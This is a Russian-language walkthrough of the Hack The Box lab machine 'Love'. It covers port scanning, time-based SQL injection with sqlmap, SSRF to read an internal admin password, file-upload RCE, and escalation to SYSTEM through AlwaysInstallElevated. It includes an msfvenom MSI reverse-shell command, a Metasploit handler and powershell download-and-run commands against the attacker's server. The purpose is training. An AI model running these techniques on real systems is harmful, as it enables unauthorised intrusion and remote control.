Сегодня мы поговорим о взломе сервера на Windows и Apache через SSRF. Это одно из многочисленных заданий хакерской площадки Hack The Box, которое называется Love.
Еще по теме:
Взлом веб-сервера на Windows и Apache через SSRF
Адрес машины — 10.10.10.239, добавим его в /etc/hosts.
1 |
10.10.10.239 love.htb |
И просканируем порты.
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Сканирование выявило много открытых портов и работающих на них служб:
- порты 80, 5000 — веб‑сервер Apache 2.4.46;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC);
- порт 139 — служба имен NetBIOS;
- порт 443 — веб‑сервер Apache 2.4.46 + OpenSSL 1.1.1j;
- порт 445 — служба SMB;
- порт 3306 — СУБД MySQL;
- порт 5040 — неизвестно;
- порты 5985, 5986 — служба удаленного управления Windows (WinRM).
Для начала проверим, что нам может предложить SMB (команда smbmap -H love.htb), но для анонимного пользователя нет ничего доступного.
Теперь переключимся на веб. Во время сканировании порта 443 получена информацию из сертификата, что говорит еще об одном сайте — staging.love.htb. Данный домен тоже добавляем в /etc/hosts.
1 |
10.10.10.239 staging.htb |
Хорошенько изучаем оба сайта в поисках точек для входа, имен пользователей и других важных данных. Love.htb встречает нас формой авторизации, но мы знаем, что используется технология — Voting System.
Точка входа
Voting System — это простая система голосования на PHP. Думаю, можно найти готовые эксплоиты.
Запускаем searchsploit из Kali Linux и находим сразу несколько.
Нас интересуют четыре последних эксплоита:
- первый эксплуатирует SQL-инъекцию для обхода авторизации;
- второй даст удаленное выполнение кода через загрузку файлов, однако мы должны быть авторизованы в системе;
- предпоследний эксплоит даст удаленное выполнение кода без авторизации;
- последний — Time based SQL-инъекция, тоже без авторизации.
Сначала стоит попробовать эксплоиты, для которых не нужна авторизация. Наиболее опасный — RCE. Как сказано в описании, мы можем выполнить загрузку файла через /admin/candidates_add.php без авторизации и обратиться к файлу в директории images, вот только этот эксплоит не отработал.
Вариант с обходом аутентификации тоже не работает, а вот вариант с Time Based SQL-инъекцией оказался рабочим. Сохраняем запрос при авторизации в файл (в моем случае req.r) и передаем его в sqlmap, как сказано в описании к эксплоиту.
1 |
sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter |
Далее потихоньку вытаскиваем таблицы с помощью того же sqlmap:
1 |
sqlmap --level=1 --risk=3 -r req.r --tables |
Но поскольку это Time Based SQLi, это будет очень долго, так что во время работы sqlmap можем тестировать другой сайт. На http://staging.love.htb на странице Demo есть сервис анализа файлов.
Для проверки сервиса откроем листенер и укажем в форме свой IP. И сразу получим отстук.
В таких сервисах стоит проверять наличие уязвимости SSRF.
SSRF — это атака на сервер, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста (см. также SSRF-атака на примере прохождения HTB Health).
SSRF может использоваться в DoS-кампаниях для маскировки реального источника атаки. Таким образом, уязвимый хост выступает в качестве прокси‑сервера. Для теста SSRF указываем адрес 127.0.0.1 и получаем знакомую форму авторизации.
Есть SSRF! Но чем она нам может помочь? К примеру, мы можем просканировать порты, доступные для localhost, а также просматривать сервисы, работающие по HTTP.
При сканировании портов мы получили ответ Forbidden от сервиса, за который отвечает порт 5000. Взглянем на него еще раз, используя наш «прокси».
Мы попали на какой‑то сервис, где можем подсмотреть пароль администратора, а затем авторизоваться на http://love.htb/admin/.
Точка опоры
Так как у нас появились учетные данные, осталось проверить последний эксплоит, который даст удаленное выполнение кода через загрузку файла. Но перед запуском взглянем на исходный код эксплоита.
Эксплоит должен вызвать коннект на указанный адрес (локальный IP) и порт. Но сначала необходимо создать листенер, который будет принимать данное соединение.
Я в таких случаях использую rlwrap — удобную оболочку с историей команд. В качестве листенера возьмем известный netcat.
1 2 |
apt install rlwrap rlwrap nc -lvp [port] |
Затем нужно указать адрес и порт листенера в строках 15 и 16 кода, адрес атакуемого хоста в строке 12, а также логин и пароль пользователя — в строках 13 и 14.
Обратите внимание на URL в строках 19–22. В нашем случае на сайте отсутствует каталог votesystem, поэтому и в коде его нужно удалить. Ниже приведен измененный код эксплоита.
И после выполнения получаем бэкконнект.
Локальное повышение привилегий
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и в таких случаях пригождаются скрипты PEASS, которые проверяют их все на автомате.
Загрузим на локальный хост скрипт для Windows.
1 |
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe |
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения данной команды веб‑сервер будет прослушивать порт 8000.
1 |
python3 -m http.server |
А теперь с помощью того же powershell wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо выполнить скрипт.
1 2 |
powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe C:\Windows\Temp\wpeas.exe |
В выводе WinPEAS можно обратить внимание на настройку UAC, историю команд PowerShell, а главное — это установленная опция AlwaysInstallElevated.
Эта опция указывает, что любой файл MSI должен устанавливаться с повышенными привилегиями ( NT AUTHORITY\SYSTEM). Соответственно, создав и загрузив такой файл, можно выполнять действия от имени системы даже непривилегированному пользователю.
Давайте создадим файл MSI с реверс‑шелом, в этом может помочь Metasploit Framework, а именно модуль msfvenom.
1 |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi |
Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler, которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно принимать соединение.
1 |
handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321 |
Загружаем файл .msi тем же способом, что и WinPEAS, а затем запускаем. Спустя несколько секунд получим новую сессию Metasploit.
1 2 |
powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi msiexec /quiet /qn /i C:\Windows\Temp\r.msi |
Мы взломали веб-сервера на Windows и Apache через SSRF,
Заключение
На примере Love HTB мы рассмотрели подделкu серверных запросов (SSRF), которая может здорово помочь во время компрометации хоста. Мы также изучили проверенный временем способ повышения привилегий через опцию AlwaysInstallElevated. Надеюсь вам понравилось )!
Еще по теме: